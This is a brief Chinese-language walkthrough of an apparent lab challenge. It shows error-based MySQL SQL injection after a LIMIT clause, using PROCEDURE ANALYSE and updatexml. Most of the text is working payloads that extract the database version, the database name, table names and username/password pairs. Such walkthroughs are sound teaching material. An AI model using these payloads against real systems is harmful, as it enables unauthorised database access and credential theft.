实验环境
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
查询结果如下
猜测后台sql语句为
select * from test where id<100 order by id limit $_GET['start'],$_GET['num']
用户可控在limit语句后面
注入语句
limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,但这在本文中不重要,这里的重点是 PROCEDURE 关键字.MySQL 默认可用的存储过程只有 ANALYSE (doc)。
输入单引号会报错,我们就用updatexml让其报错输出结果
index.php?start=0 procedure analyse(updatexml(1,concat(0x7e,version()),1),1)%23&num=1
爆数据库名
index.php?start=0 procedure analyse(updatexml(1,concat(0x7e,database()),1),1)%23&num=1
爆表名
index.php?start=0 procedure analyse(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=0x6d79646273 limit 0,1)),1),1)%23&num=1
之后操作就不再列举
直接获取数据
index.php?start=0 procedure analyse(updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from user limit 2,1)),1),1)%23&num=1